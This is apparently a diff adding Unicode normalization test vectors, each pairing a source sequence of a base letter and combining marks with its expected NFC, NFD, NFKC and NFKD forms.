+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CD6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CD6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CD6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CD6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CD6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CD7, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CD7, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CD7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD7, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CD7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CD7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CD8, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CD8, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CD8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD8, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CD8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CD8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CD9, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CD9, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CD9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD9, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CD9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CD9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CDC, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CDC, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CDC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDC, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CDC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CDC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CDD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CDD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CDD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CDD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CDD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CDE, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CDE, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CDE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDE, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CDE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CDE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CDF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CDF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CDF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CDF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CDF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE2, 0x0062], NFC: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE3, 0x0062], NFC: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE4, 0x0062], NFC: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE5, 0x0062], NFC: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE5, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE6, 0x0062], NFC: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE6, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE7, 0x0062], NFC: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE7, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE8, 0x0062], NFC: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE8, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CED, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CED, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CED, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CED, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CED, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DC2, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DC2, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DC2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DC2, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DC2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DC2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DCA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DCA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DCA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DCA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DCA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DCB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DCC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062] },
